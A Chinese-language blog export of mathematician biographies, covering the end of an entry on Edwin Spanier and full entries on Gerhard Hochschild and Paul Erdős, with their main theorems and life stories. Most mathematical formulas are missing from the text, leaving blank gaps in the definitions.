Fellowship，前往巴黎访学，进一步加深了与欧洲代数拓扑学派的交流。1955 年，他与英国拓扑学家怀特海特（John Henry Constantine Whitehead，1904-1960）合作发表了《同伦理论里的对偶》（Duality in homotopy theory），正式提出了 Spanier-Whitehead 对偶（Spanier-Whitehead duality），对同伦论的发展起到了重要的作用。1958 至 1959 年，Spanier 再次前往 IAS 访问。 之后在 1959 年，他接受了 Berkeley 的正教授职位。在 Berkeley，他曾多次担任数学系副主任和代理主任，并凭借卓越的学术眼光和广泛的人脉，吸引了斯梅尔（Stephen Smale，1930-）、赫希（Morris William Hirsch，1933-）、布雷登（Glen Eugene Bredon，1932-2000）等大批顶尖拓扑学家加盟或访问，建立了一个极其强大的几何与拓扑研究团队。 1966 年，Spanier 出版了他的巨著《代数拓扑学》（Algebraic topology）。这本书被公认为代数拓扑学公理化、范畴化的杰作。它摒弃了早期教材中那种基于直觉的、手绘式的拓扑讲解，转而采用了由层论（sheaf theory）、逆极限（inverse limit）和谱序列（spectral sequence）构成的宏大代数框架。这本书在处理证明时的严谨与优美，使得几十年来，所有关于代数拓扑的进阶研究几乎都绕不开它。 在 Berkeley 求学时，我第一个学期选修了 Spanier 的代数拓扑课、劳森（Herbert Blaine Lawson, Jr, 1942- ）的微分几何课和莫雷（Charles Bradfield Morrey Jr., 1907-1984）的微分方程课，此外还旁听了代数、数论、群论、动力系统、自守形式和泛函分析等课。修读的三门课对我的影响都很大。 来 Berkeley 之前，我自以为了解拓扑学，但代数拓扑课提供了全新的角度，把拓扑问题化为代数问题处理。 开始上 Spanier 的代数拓扑学课时，我有些紧张，因为同学们比以前上课时更加投入。我没有打算说很多话，但其他同学则踊跃发言，似乎头头是道。几个星期后，我把课本（就是 Spanier 本人编写的）看了一大半，发觉大部分同学都是在胡说八道。 Spanier 一生在 Chicago 和 Berkeley 共指导了 17 位博士生，为现代拓扑学界培养了一批中流砥柱。在这些学生中，最著名的是 Hirsch 和利马（Elon Lages Lima，1929-2017）（两人均于 1958 年获得博士学位，Hirsch 的一个博士生是瑟斯顿（William Paul Thurston，1946-2012））。 Hirsch 因在微分拓扑、叶状结构和动力系统方面的开创性工作而闻名，后当选为美国数学会会士。Lima 则在返回巴西后，成为了巴西数学界的领军人物和教育家。 Hirsch 曾回忆道：“Spanier 的出版物像他的讲座一样，以一种非同寻常的清晰和准确为特征，甚至具有一种更为罕见的自然和简洁的品质。无论主题多么复杂，读者在最后都会觉得这些定理是合理的，假设是自然的，而方法是尽可能简单的。” 在 Spanier 职业生涯的中后期，他的研究视野进一步拓宽到了应用领域。1961 年起，他开始与金斯伯格（Seymour Ginsburg，1927-2004）合作研究形式语言理论（formal language theory），这在当时是一个新兴的交叉学科，对现代计算机科学的发展至关重要。他们发表了诸如《有界的类 ALGOL 语言》（Bounded ALGOL-like languages）等一系列具有先驱意义的论文。 此外，他与杜宾斯（Lester Dubins，1920-2010）合作研究的 “分蛋糕定理（Dubins-Spanier theorems）”，将测度论中的李亚普诺夫（Alexey Andreyevich Lyapunov，1911-1973）- 凸性定理引入到公平分配问题中，这一工作至今仍是经济学和博弈论模型中的基础性成果。 Spanier 一生都保持着对数学的热爱，即便在 1991 年从 Berkeley 退休成为名誉教授后，他依然活跃在学术研讨的前沿。1996 年 10 月 11 日，Spanier 因癌症在 Arizona 州的 Scottsdale 与世长辞，享年 75 岁。 贡献一、Alexander-Spanier 上同调在 20 世纪 40 年代初期，拓扑空间的上同调理论主要由奇异上同调和 Čech 上同调构成。然而，对于局部高度病态的空间，奇异单纯形往往无法捕捉到足够准确的拓扑信息，而 Čech 同调的正向极限构造又显得十分繁琐。 基于 J. W. Alexander 的早期思想和 A. N. Kolmogorov 的工作，Spanier 在其博士论文中系统地发展了后来被称为 Alexander-Spanier 上同调的理论。 设 为一个拓扑空间， 为一个 - 模（通常取环 为 或 ）。对于任意非负整数 ，定义 为从笛卡尔积 空间到 的所有函数的集合： 在这个函数空间上，定义上边缘算子（coboundary operator） 为 计算可知 ，从而 构成了一个上链复形（cochain complex）。 然而，如果直接对该复形取上同调，其结果是平凡的（即零次群为 ，其余高次群全为 ）。 Spanier 的深刻洞见在于，空间真正的拓扑属性，实际上隐藏在那些在对角线附近局部非零的函数中。令 为多重对角线（即所有坐标均相等的点的集合）。 Spanier 定义了一个子复形 如下：如果存在 的一个开邻域 ，使得函数 在 上恒为零，则称 。Alexander-Spanier 上同调群 即被定义为商复形 的上同调群。 Alexander-Spanier 上同调不仅满足 Eilenberg-Steenrod 的所有上同调公理，还满足强切除定理（strong excision theorem）。 在现代几何与应用拓扑学中，Alexander-Spanier 上同调展现出了重要的价值。例如，在动力系统理论中，为了刻画高度复杂且可能是分形的孤立不变集，Conley-index 理论正是采用 Alexander-Spanier 上同调来提取能够抵抗连续扰动的拓扑不变量。 二、上同伦群在 1949 年发表于《Annals of Mathematics》的论文《Borsuk 上同伦群》（Borsuk’s cohomotopy groups）中，他系统地确立了上同伦群的代数性质。 对于带基点的拓扑空间 ，其第 阶同伦群被定义为所有从球面 到 的保基点连续映射的同伦类集合，记为 对偶地，第 阶上同伦群（cohomotopy group）定义为从空间 映射到球面 的连续映射的同伦类集合 由于当 时球面 一般并不具备拓扑群的结构（除 、 外），要自然地赋予集合 一个群结构在早年是很困难的。 Spanier 在这篇论文中，详细展开了博尔苏克（Karol Borsuk，1905-1982）的早期思想，通过引入对空间 的维度限制（ ），严格证明了可以通过将映射正规化到球面的单点并集 中，来为其赋予一个自然的 Abel 群结构。 在此基础上，Spanier 给出了一套用于计算多面体到球面映射的代数分类工具，并证明了上同伦群同样满足类似于上同调的正合序列（exact sequence）性质。 这不仅完善了代数拓扑的理论基石，也直接启发了后来同伦论学者（如亚当斯（John Frank Adams，1930-1989））对稳定同伦群（stable homotopy groups）的系统性计算。 三、球面丛的同调结构Spanier 与陈省身先生于 1950 年发表在《美国国家科学院院刊》（PNAS）上的论文《球面丛的同调结构》（The homology structure of sphere bundles）解决了纤维丛理论中的核心计算问题。 对于一个纤维为球面的纤维丛 ，拓扑学界早前已有 Gysin 序列来联系各空间的同调群，但最初它仅限于底空间 为可定向流形的情况。 Spanier 和陈省身先生摒弃对流形结构的依赖，通过考察底空间单纯复形骨架的逆象以及应用 Eilenberg‑Steenrod 公理化同调理论，在一个统一的代数框架下重新推导并推广了这一长正合序列，证明其对底空间为一般的单纯复形依然成立。这些序列在计算各空间的 Betti 数及同调结构时极为有效。 Spanier 与陈省身先生利用障碍理论（obstruction theory），剖析球面丛截面的存在性问题。他们展示了每个球面丛都会自然诱导出一个特征类 （即 Euler 类），它是构造底空间 维骨架上截面的确切拓扑阻碍。 更重要的是，他们证明了上同调序列中的维度提升同态，恰好等价于与该特征类的杯积（cup product）运算。他们的代数推导实际上已经触及了后来 René Thom 形式化的核心本质。 四、Spanier‑Whitehead 对偶Spanier 与 J. H. C. Whitehead 在 1955 年左右的系列论文中系统地建立了 Spanier‑Whitehead 对偶理论。这一理论的初衷是为了在更抽象和本质的层面上理解经典的 Alexander 对偶：对于嵌入在球面 中的紧子空间 ，有 然而，这种对偶仅在同调的层次上成立， 和 通常具有不同的同伦型。 Spanier 和 Whitehead 发现，如果为空间添加基点并进行足够多次悬挂（suspension），这种对偶就成为了一种范畴意义下的对偶。 这直接促成了现代代数拓扑中谱（spectra）以及稳定同伦范畴（stable homotopy category）的诞生。 稳定同伦范畴 是一个对称半幺范畴（symmetric monoidal category），对象是谱（spectra），态射是谱之间的映射的同伦等价类。一个谱 可理解为一列带基点的空间 ，伴随有结构映射 。在 中，存在一种自然的张量积，称为 smash 积（smash product），记为 。其单位对象是球面谱（sphere spectrum） 。 我们可以将 与 Abel 群链复形范畴 进行以下对应： 基环（整数环） 球面谱 任意 Abel 群 对应的 Moore 谱 张量积 Smash 积 内部同态复形 函数谱（function spectrum） 链复形的代数对偶 Spanier‑Whitehead 对偶 定理（Spanier-Whitehead 对偶，1953-1955） 设 是 中的紧邻域收缩（compact neighborhood retract）。那么，在 中， 与 是对偶对象。这里 是 与一个不相交的基点的并， 和 分别是约化悬挂与非约化悬挂。取关于 Eilenberg-MacLane 谱的同调与上同调，可以在形式上还原出 Alexander 对偶。 五、Dubins-Spanier 定理1961 年，Spanier 和 Lester Dubins 在《美国数学月刊》（The American Mathematical Monthly）上发表了一篇题为《如何公平地切蛋糕》（How to cut a cake fairly）的论文。他们提出并证明了关于 “切蛋糕问题（cake-cutting problem）” 的若干深刻定理，被称为 Dubins-Spanier 定理。尽管最初的动机来源于公平分配，它们实际上是测度论中的一般定理。 被分配的资源（即 “蛋糕”）可以抽象为一个可测空间 ，其中 代表整个资源， 是 上的一个 - 代数（代表所有允许被分割出的 “块” 的集合）。 假设有 个参与者，他们的价值偏好由定义在该空间上的非原子（non-atomic）且可数可加的概率测度 来表示。 非原子（non-atomic）的直观含义是蛋糕可以被无限细分，不存在任何不可分割且具有正价值的 “原子” 颗粒。 Dubins 和 Spanier 观察到，所有可能分配方案的评估矩阵，本质上构成了一个泛函空间中的像集。 他们利用了 Lyapunov - 凸性定理（该定理断言：任何非原子有限维向量测度的值域必定是一个紧致的凸集），得出了以下重要结论： 定理（共识划分，consensus partition） 设 为可测空间， 为 上的非原子概率测度。给定任意一组非负实数权重 且满足 ，必定存在 的一个可测划分 ，使得对于所有的参与者 和分配份额 ，都有 定理（超比例分配，super-proportional division） 设权重向量 的总和为 ，且每个权重严格为正（即 是 维单纯形的内部点）。如果存在至少两个参与者的测度不完全相同（即存在 使得 ），那么必定存在一个分配划分 ，使得对于所有的参与者 都有"},{"title":"","date":"2026-05-16T06:07:00.000Z","updated":"2026-05-16T06:10:00.000Z","comments":true,"path":"notes/person/23.html","permalink":"https://blog.mhuig.top/notes/person/23","excerpt":"","text":"Hochschild Hochschild 生平格哈德・保罗・霍赫希尔德（Gerhard Paul Hochschild，1915-2010）出生在德国柏林一个中产阶级家庭。 1924 年，他的母亲 Lilli 被诊断为肺结核，他九岁时随母亲前往达沃斯（Davos）附近的疗养院（Sanatorium near Davos），陪伴她接受长期治疗。 在疗养期间，他母亲精神状况恶化，1926 年被送入精神病院后丧生。这一经历对 Hochschild 的童年影响深远，他曾在回忆中提到读 Thomas Mann 的《魔山》时，常回想自己在疗养院的经历。 童年时期，他在柏林开始培养对摄影和登山的兴趣，这些爱好贯穿一生。1933 年，他父亲为安全起见，将 Hochschild 和兄长 Ulrich 送往南非开普敦（Cape Town），成为众多逃离纳粹的德国人之一。 在南非，由于纳粹限制资金流出，他们被迫自力更生。Hochschild 曾在摄影店工作，同时加入一个知识分子与艺术家圈子，这段经历培养了他终生的自由思想与社会责任感。 1934 年，Hochschild 入读 Cape Town 大学理学士课程，1936 年获理学学士学位，1937 年获理学硕士学位。 他所修课程覆盖应用数学、物理、化学、纯数学、微分几何、调和分析、张量方法等，导师是利特伍德（John Edensor Littlewood，1885-1977）的学生斯坦利・斯奎斯（Stanley Skewes，1899-1988）。 Skewes 在推荐信中写道：“他是一个好学生，也是一位非常有前途的数学家…… 我相信他极其适合从事这一职业”，这为他申请 Princeton 大学博士提供了有力支持。 1938 年，Hochschild 前往 Princeton 大学攻读博士，师从谢瓦莱（Claude Chevalley，1909-1984）。 博士期间，他选修课程广泛，包括黎曼几何、连续群、复变函数理论、拓扑群、分析在几何中的应用等。 他在 Chevalley 的微分方程课程中展现出极高的专注力，课程结束时往往只有 Hochschild、John von Neumann 和 Hermann Weyl 留下来继续讨论。他的博士论文题为《半单代数与广义导子》（Semisimple algebras and generalized derivations），委员会高度评价其独立研究能力，称其研究 “包含了许多新结果（contains many new results）”。 二战期间，Hochschild 被征召入美国陆军，先驻扎于锡尔堡（Ft. Sill），后调至阿伯丁试验场（Aberdeen Proving Grounds）工作。在军队的数学科，他与费德勒（Herbert Federer，1920-2010）等著名数学家共事（维布伦（Oswald Veblen，1880-1960）也曾作为顾问偶尔造访），在此期间他开始发表关于 Hochschild 上同调（Hochschild cohomology）的开创性论文。 他的长期合作者莫斯托（George Daniel Mostow，1923-2017）曾这样评价他：“如果不提及他的个人魅力，就无法全面地刻画 Hochschild …… 他以其精湛的‘爆粗口’艺术给战友们留下了深刻印象。” 1945 年战后，他回到 Princeton 大学担任兼职讲师。1946–1948 年出任 Harvard 大学的 Benjamin Peirce 讲师，随后加入伊利诺伊大学厄巴纳 - 香槟分校（University of Illinois at Urbana‑Champaign），并于 1952 年晋升为正教授。 1958 年他调任 Berkeley，长期在此执教并指导了 26 名博士生，其中包括莱杰（George Leger）（1951）和纳赫鲁斯（Nazih Nahlus）（1986）。 Hochschild 个人生活同样丰富。在厄巴纳（Urbana）时，他遇到未来的妻子露丝（Ruth Heinsheimer），两人 1950 年结婚，育有两个孩子：Ann（1955）与 Peter（1957）。 他与学生关系密切，被学生评价为耐心、支持、极具独立精神的导师。在 Berkeley 任教期间，他曾因对当时少数族裔政策抱有强烈的原则性异议，辞去了相关委员会的职务。 Hochschild 于 1979 年当选为美国国家科学院院士及美国艺术与科学院院士，并于 1980 年荣获美国数学会 Steele 奖（AMS Steele Prize），以表彰他在 1945–1952 年间关于同调代数（Homological Algebra）及其应用的开创性论文。 1982 年，Hochschild 退休，但继续兼职教书直到 1985 年。2010 年 7 月 8 日，Hochschild 在家中去世，享年 95 岁。 贡献一， Hochschild 上同调理论对于一个域 上的结合代数（associative algebra） 及其 - 双模（bi-module） ，他将 Hochschild 上同调群（Hochschild cohomology groups）定义为： 其中 称为包络代数（enveloping algebra）。 为了具体计算这些抽象的群，他引入了标准的自由分解方式 ——Bar 复合体（Bar complex），使得研究者可以通过具体的链复形（chain complex）来抓取代数的内部结构。 低阶群具有极为深刻的代数与几何对应： 同构于代数的中心； 刻画了代数的外导子（outer derivations），在物理上对应着无穷小对称性；Murray Gerstenhaber 后续的工作证明， 精确分类了代数的形式形变（formal deformations），决定了将古典交换代数 “量子化” 为非交换代数的所有可能路径。 这套庞大理论框架的原始论文仅有 10 页，却凭借定义的简洁性与极强的普适性，迅速成为代数学的通用语言。 二、HKR 定理（The Hochschild-Kostant-Rosenberg theorem）1962 年，Gerhard Hochschild 与科斯坦特（Bertram Kostant，1928-2017）及罗森堡（Alex F. T. W. Rosenberg，1926-2007）共同证明了 HKR 定理，明确界定了在光滑情形下，纯粹的代数同调结构与几何对象之间的同构关系。 定理指出，设 是一个复数域 上的光滑、交换代数，则其 Hochschild 同调（Hochschild homology）与该代数的外微分形式（differential forms）空间之间存在自然的同构： 这个优美的等式结合了纯代数与几何微积分。 当代数 变得非交换时，传统的微分几何工具完全失效，但左侧的 依然有明确的代数定义。 基于此，孔涅（Alain Connes，1947-）等数学家直接将 Hochschild 同调视为非交换空间（noncommutative spaces）中的微分形式，从而正式推开了非交换几何（noncommutative geometry）的大门。 三、Hochschild–Serre 谱序列（The Hochschild–Serre spectral sequence）20 世纪 50 年代初，Gerhard Hochschild 与塞尔（Jean-Pierre Serre，1926-）合作，提出了一种计算复杂群上同调的工具，即 Hochschild–Serre 谱序列。对于任意群 、其正规子群（normal subgroup） ，以及一个 - 模（-module） ，他们构造了一个谱序列： 这一公式表明，总群 的同调信息可以完全通过其子群 和商群 的层级结构来逐步逼近与重构。 这一工具在数论，尤其是类域论（class field theory）中发挥了决定性作用，为计算复杂的 Galois 群上同调（Galois cohomology）提供了标准方法，并且被推广到 Lie 代数上同调（Lie algebra cohomology）中，成为理论物理和 Lie 代数扩张理论的计算基石。 四、代数群与 Hopf 代数：几何、代数与特征 的统一Hochschild 是首批深刻认识到研究群的几何结构可以完全等价于研究群上函数环（ring of functions）的代数结构的数学家之一。 在他的经典著作《代数群与李代数基础理论》（Basic theory of algebraic groups and Lie algebras）中，他系统地将这一思想应用到了具有乘法结构的代数群（algebraic groups） 上。 群 的每一个几何操作，都在其多项式函数环 上诱导出了一个代数操作，从而赋予了 一个 Hopf 代数（Hopf algebra）的结构：群的乘法运算诱导出了余乘法（comultiplication） ；群的单位元诱导出了余单位（counit） ；群的求逆映射诱导出了对极映射（antipode） 。 掌握了这个带有余乘法结构的交换环 ，就能反向重构出原来的代数群 。 为了研究群 的表示，Hochschild 系统化了代表函数（representative functions）的理论。如果一个定义在群 上的函数 ，在群元素的平移作用下产生的所有新函数能够张成一个有限维的向量空间，那么 就被称为代表函数。 他严格证明对于线性代数群（linear algebraic groups），其所有的多项式函数都是代表函数。这意味着可以用有限维线性代数的工具，精确控制和计算复杂的连续群结构。 在复数域上，Lie 代数通过指数映射（exponential map）与 Lie 群紧密相连。然而，在特征 （characteristic ）的域上，由于分母中 ，经典的指数映射失效。 Hochschild 基于雅各布森（Nathan Jacobson，1910-1999）提出的限制 Lie 代数（restricted Lie algebras，也称 -Lie 代数）理论，引入带有 - 幂映射（ -power map）的限制 Lie 代数，用以弥补特征 域上丢失的高阶信息。他还深入研究并发展了该理论的上同调与表示论。 Hochschild 通过代表函数（representative functions）将群与其表示论紧密绑定，这启发了后续数学家仅通过表示范畴来反向定义群，为后来的淡中对偶（Tannaka Duality）与淡中范畴（Tannakian Categories）提供了重要基础。同时也在后续催生了量子群（quantum groups）理论。"},{"title":"","date":"2026-05-18T00:07:00.000Z","updated":"2026-05-18T00:10:00.000Z","comments":true,"path":"notes/person/24.html","permalink":"https://blog.mhuig.top/notes/person/24","excerpt":"","text":"Erdős Erdős 生平保罗・埃尔德什（Paul Erdős, 1913-1996）出生于奥地利布达佩斯（Budapest）一个犹太家庭（原始姓氏为 Engländer），但是他的父母都不信奉犹太教。 Lajos 和母亲 Anna（1880-1971）有在 Erdős 前有两个女儿，分别在三岁和五岁因猩红热去世，而这就发生在 Erdős 出生前几天。 这自然使得 Lajos 和 Anna 对 Erdős 极为溺爱，由于母亲担心他也会染上致命的儿童疾病，所以一直把他留在家里，直到他 10 岁才送他上学。Erdős 的父母均为数学教师，然而他的父亲被关进了俄国的战俘营长达六年，而母亲又需要长时间工作，还雇了一位德国籍女家庭教师照看他。 Erdős 当时通过翻阅父母的数学书籍来消磨时间。正如他后来回忆的那样：“我在很小的时候就爱上了数字，它们是我的朋友，我可以依赖它们，它们总在那里，总是一成不变。三岁时，我就在脑中乘出三位数逗得母亲的朋友们开心；四岁时，我就发现了负数。我告诉我母亲，如果你用 100 减去 250，就会得到 '150 below zero'。” Erdős 刚满一岁不久，第一次世界大战爆发。Erdős 的父亲 Lajos 在俄军进攻奥匈军队时被俘，随后在西伯利亚度过了六年的囚禁生活。Lajos 一被俘，为了照顾 Erdős，同时由于母亲 Anna 白天在教学，一位德国籍的女家庭教师被雇来照看 Erdős。因失去了两个女儿，Anna 对 Erdős 的保护过度，在他早年大部分时间里不让他上学，而是聘请了家庭教师在家中辅导他。 第一次世界大战结束后，匈牙利局势陷入混乱，国家先是短暂成为民主共和国，随后由贝拉・昆（Béla Kun, 1886-1938）接管。Anna 当时被任命为学校校长，但在针对 Kun 政权的罢工行动中，她继续工作，纯粹出于对孩子们教育的关切，而非政治立场。 1919 年 7 月，随着罗马尼亚军队逼近布达佩斯，Kun 逃往维也纳，米克洛斯・霍尔蒂（Miklós Horthy de Nagybánya, 1868-1957）随即掌权，Anna 因未响应罢工号召而被归入打击对象，遭到解雇，并在 Horthy 部队街头屠杀犹太人和共产主义者的行动中险些失去生命。 1920 年对 Erdős 来说并非完全不幸，因为他的父亲 Lajos 从西伯利亚归来。他在囚禁期间学会了英语，但由于没有英语教师，他的发音带有浓重的口音。Lajos 开始教 Erdős 讲英语，这种奇特的英语口音伴随 Erdős 一生，成为他的一大特色。 在高中时期，Erdős 定期解答杂志《高中数学和物理》（Középiskolai Matematikai és Fizikai Lapok (KöMaL)）中提出的问题。 这是一份面向中学生的数学和物理月刊，目标读者的平均年龄仅为 17 至 18 岁。该刊物被认为在 19 世纪末和 20 世纪初匈牙利学生的数学成功中占有重要作用。 多年后，Erdős 还在该期刊上发表了关于初等平面几何问题的多篇文章。1962 年，匈牙利裔美国数学家拉斯洛・洛瓦斯（László Lovász, 1948-；1999 年 Wolf 奖，2021 年 Abel 奖）据说偶然读到 Erdős 的一篇文章，“着迷得几乎读了 20 遍”。 通过 KöMaL，Erdős 首次结识了图兰（Pál Turán, 1910-1976）和加莱（Tibor Gallai, 1912-1992）。 尽管匈牙利对犹太人进入大学有所限制，Erdős、Turan 和 Gallai 仍凭借在全国数学竞赛中的优异表现，成功进入了大学。当时年仅 17 岁的 Erdős 进入布达佩斯的彼得・帕兹马尼大学（Pázmány Péter University），仅用了四年就完成了本科学业并获得了数学博士学位。 1934 年，他完成了题为《关于某些算术级数的素数》（Über die Primzahlen gewisser arithmetischer Reihen）的博士论文。 他的导师是费耶尔（Lipót Fejér, 1880-1959），他还指导过众多其他匈牙利数学家，如冯・诺伊曼（John von Neumann, 1903-1957）、波利亚（George Pólya, 1887-1985）以及 Erdős 的朋友 Turán。 当时 Erdős 对于数学的优雅已有明确的看法。他认为，上帝拥有一本超限之书（The Book），其中记载着每个可能数学问题最短、最美的证明。对他来说，给予同事工作的最高赞誉便是说：“那正是摘自 The Book。” 至于 Erdős 对 Bertrand（Joseph Louis François Bertrand, 1822-1900）Postulate 的证明，没人怀疑 Erdős 确实在 The Book 中找到了。 在大学期间，他还与其他年轻的犹太数学家组成了一个自称 “匿名小组” 的团体，他们倡导一门新兴的数学分支 —— 拉姆齐理论（Ramsey Theory），其哲学基础在于认为完全的混乱是不可能存在的。一个具体的例子是在平面（即一个平坦的表面）上随机散布的点，Ramsey 理论的学者便猜想：无论这些点看起来多么杂乱无章，总会出现某种模式和结构。 他在 1934 年获得博士学位。随后，他获得了 Manchester 的博士后奖学金，此时他也因为犹太人身份而不得不离开匈牙利。在博士后期间，Erdős 在英国各地广泛旅行。1934 年他在 Cambridge 遇见了哈代（Godfrey Harold Hardy, 1877-1947）。 1935 年又在 Cambridge 遇见了乌拉姆（Stanislaw Marcin Ulam, 1909-1984），他与 Ulam 的友谊也促进他在后来做出往美国的决定。此时，他的流浪精神早已显露。“…… 自 1934 年以来，他几乎从未连续七晚睡在同一张床上。” 在 Manchester 博士后期间，Erdős 每年仍会三次访问 Budapest。1938 年 3 月，希特勒控制了 Austria，Erdős 只好取消原定于春季前往 Budapest 的访问，但在暑假期间还是访问了 Budapest。1938 年 9 月 3 日爆发的捷克危机（Czech crisis）迫使他匆忙返回英国。几周之内，Erdős 就踏上了前往美国的旅程，并在那里获得了 Princeton 的一个奖学金职位。 他本希望奖学金能够延长，但由于 Erdős 不符合普林斯顿（Princeton）的标准，他只获得了六个月的延长而非预期的一年。Princeton 方面认为他 “粗鲁且不合常规（uncouth and unconventional）”。 最终他接受了 Ulam 的邀请，到 University of Wisconsin-Madison 访问，从此开启了他终生在世界各大学之间辗转流浪的旅程。 1941 年 8 月发生的一件颇为离奇的小插曲。Erdős 与另外两位数学家在长岛一座军事无线电发射器附近被警察拦下。由于这三位数学家太过沉浸于数学讨论，竟然没有注意到 “NO TRESPASSING” 的标志。经过与警察友好交谈后，大家意识到并无恶意。但这件事为 Erdős 留下了一份 FBI 档案记录，后来被拿来对付他。 1943 年，Ulam 离开 Madison 前往新墨西哥州 Los Alamos，与其他数学家和物理学家一起从事原子弹项目。他曾邀请 Erdős 加入该项目，但尽管 Erdős 对面试表现出一定兴趣，他给出的回答显然不是面试官所期望的。Erdős 直言不讳地表示他希望战后回到 Budapest，这种诚实令面试官失望。 1943 年，Erdős 也离开 Madison 开始在 Purdue 大学担任兼职教职，之后还辗转于 Stanford 大学、Notre Dame 大学、Johns Hopkins 大学。在此期间，匈牙利的犹太人遭受了极其惨重的苦难，许多人被杀害，另有许多人被发配到奥斯维辛（Auschwitz）。当时在美国的 Erdős 几乎没有机会知道家乡的消息。 然而，1945 年 8 月，Erdős 收到一份电报，告知了他家中的情况：他的父亲于 1942 年因心脏病发作去世；他的母亲幸存下来，他的堂妹 Magda Fredro 被送往奥斯维辛，但也奇迹般地生还。此外 Erdős 的四位叔叔和姑姨均已被杀害。 1948 年底左右，Erdős 得以回访匈牙利，与仍然健在的家人和朋友重聚。接下来的三年里，他频繁往返于英国和美国之间，直至 1952 年接受了 Notre Dame 大学的一个临时职位。 1950 年代初期，美国掀起了对共产主义的强烈反感情绪。在此期间，Erdős 开始受到当局的怀疑。1954 年，在 Amsterdam 参会后返回美国时，美国移民官询问他对马克思的看法，Erdős 回答道：“我不能完全的判断，但是无疑他是一个伟大的人。” 随后又被问及是否会重返匈牙利，Erdős 回答道：“我不确定我是否会返回匈牙利因为我不确定我还能不能出来。我只计划去英国和荷兰。” Erdős 最终未被允许返回美国，官方并未给出理由。档案显示，官方原因并非他上述回答中所表达的，而是由于他曾与一位后来从美国返回中国的中国数学家通信，以及他的 1941 年 FBI 档案记录。 事实上，2013 年，科迪・温彻斯特（Cody Winchester）根据《信息自由法》向 FBI 提交请求，要求在该局的中央记录系统中搜索所有与 “Paul Erdős” 相关的信息。该请求最终于 2014 年 3 月 27 日获得批准。在解密的 FBI 记录中，可以看出 FBI 从 1950 年代起便对 Erdős 及其行踪进行了数十年的跟踪。调查的结论似乎是 —— 正如利普顿（Beryl Lipton）后来所写：“FBI 花了几十年追踪数学家 Paul Erdős，最终得出的结论是，这家伙只是非常热爱数学。” 接下来的十年里，他大部分时间在以色列度过。1960 年代初，他曾多次请求允许返回美国，最终于 1963 年 11 月获得签证。但此时的 Erdős 已经养成在各大学之间辗转、并且暂居于各数学家中的习惯。他的流浪足迹遍及以色列、中国、澳大利亚以及其他 22 个国家。 期间，他有一个比较长久的落脚之处，那就是他的朋友格雷厄姆（Ronald Lewis Graham，1935-2020）家中。Erdős 与 Graham 在 1963 年的一次数论会议上相识，不久便开始了数学合作。Graham 为 Erdős 提供了一个可以居住的房间，也存放了他的论文，在许多方面充当了 Erdős 的秘书。 也是在这段时间开始，Erdős 靠着一种药物维持清醒，以一种传教士般的热情进行数学研究，经常一天工作 20 小时，最终发表了约 1500 篇论文，这一数字远远超过当时的同行。他的热情极具感染力，把数学变成了一种社交活动，鼓励那些最为内向的同事们共同合作。他曾说，他们共同的目标是揭示 The Book 中的秘密篇章。 数学界也产生了 Erdős number 的概念：Erdős 本人曾与 507 位合作者共同发表论文，在数学界，这 507 人因此获得了 “Erdős 数为 1” 的 “殊荣”，意味着他们曾与 Erdős 共同署名发表论文。与 Erdős 的合作者合作发表论文的人则被称为 Erdős 数为 2；而 Erdős 数为 3 则表示某人与某位与 Erdős 有过合作的人共同发表过论文。 1951 年，John von Neumann 因其在素数理论方面的贡献，将 Cole Prize 颁发给了 Erdős。1959 年，Erdős 参加了第一届 International Conference on Graph Theory，而图论正是他参与创立的领域之一。 在接下来的三十年中，他在组合数学、划分理论、集合论、数论以及几何等多个领域持续作出重要贡献 —— 他涉猎领域的多样性实属罕见。 1984 年，他赢得了数学界最丰厚的奖项 —— Wolf Prize，并将 5 万美元奖金中除 720 美元外的全部奖金捐出，用以在以色列设立以纪念其父母的奖学金。 Erdős 通常将他从奖项和其他工作中获得的收入捐赠给有需要的人和各种有价值的事业。他依靠大学和会议的津贴以及微薄的报酬维持生活，剩余的钱则用于设立现金奖励，奖励那些为他认为有趣的问题给出证明的人。奖金从 25 美元到数千美元不等。 其中最著名的 “Erdős 问题” 可能是考拉兹猜想（Collatz conjecture）或叫 猜想：是指对于每一个正整数，如果它是奇数，则对它乘 3 再加 1，如果它是偶数，则对它除以 2，如此循环，最终都能够得到 1。Collatz 猜想由考拉兹（Lothar Collatz, 1910-1990）在 1937 年左右提出，当时他刚刚获得博士学位。 为此 Erdős 提供了 500 美元奖金。他在谈到 Collatz 猜想时说：“数学还没准备好应对这样的问题。” 目前最好的相关结果由陶哲轩在 2022 年发表，他证明对于几乎任何一个大于 0 的整数 ，Collatz 猜想对于 的序列的下界一定会低于 ，这里 可以取任何一个定义在大于 0 的整数上的实值函数且满足 ，比如 可以取 ， 等等。 5000 美元奖金的问题则是：Erdős conjecture on arithmetic progressions—— 如果一个整数序列的倒数之和发散，那么该序列中必包含任意长度的等差数列（If the sum of the reciprocals of a sequence of integers diverges, then the sequence contains arithmetic progressions of arbitrary length.）。 这个问题和目前最高悬赏（10000 美元）的未解决问题密切相关： 对于任何 ，令 表示从集合 中选出一个子集的最大可能的大小，使得该子集中不包含任何非平凡的 项等差数列。10000 美元的问题是找到 的渐进公式。这个问题只对 有意义，目前对于 人们不知道任何渐进公式。 而 Erdős conjecture on arithmetic progressions 则本质上是寻找 的上界的好的估计，例如若能证明： 对所有 成立，（这里 可以依赖于 的选取）则足够证明猜想。 对 （Kelley-Meka, 2023）和 （Green-Tao, 2017）有一些好的估计。对于一般的 ，James Leng、Ashwin Sah、Mehtaab Sawhney 在 2024 年有一个结果，但还不足以证明 Erdős 上述猜想。 Erdős conjecture on arithmetic progressions 的一个重要推论是 Green-Tao 定理：素数中包含任意长的等差数列。 在纪录片《N is a Number: A Portrait of Paul Erdős》中，讲述了一位年轻数学家的故事：该数学家被 Harvard 录取，但他的父母尽管有能力支付学费，却拒绝付款。Erdős 仅与这位学生偶遇一次，就给了他 1000 美元，并说道：“如果你能还给我就还给我；如果还不了，请帮别人还。” 他还当选为世界上众多最负盛名的科学学会的成员，包括 Hungarian Academy of Sciences（1956 年）、National Academy of Sciences（1979 年）和 Royal Society（1989 年）。 Erdős 一直证明和提出猜想直到 83 岁，最终于 1996 年在华沙参与一场几何学会议数小时后，因心脏病发作而逝世。 当被问及如何最好地描述他的朋友 Erdős 时，斯宾塞（Joel Spencer, 1946-）曾写道：“数学真理是永恒不变的；它存在于物理现实之外…… 这是我们的信仰，是我们最核心的动力源泉。然而，当我们试图向非数学界的朋友描述这种信念时，就如同向无神论者描述上帝的存在。Erdős 用他的一生践行了对数学真理的信仰。他将自己非凡的天赋与精力全部奉献给了数学的圣殿。对于这项探索的重要性与绝对性，他从未有过丝毫怀疑。” Erdős 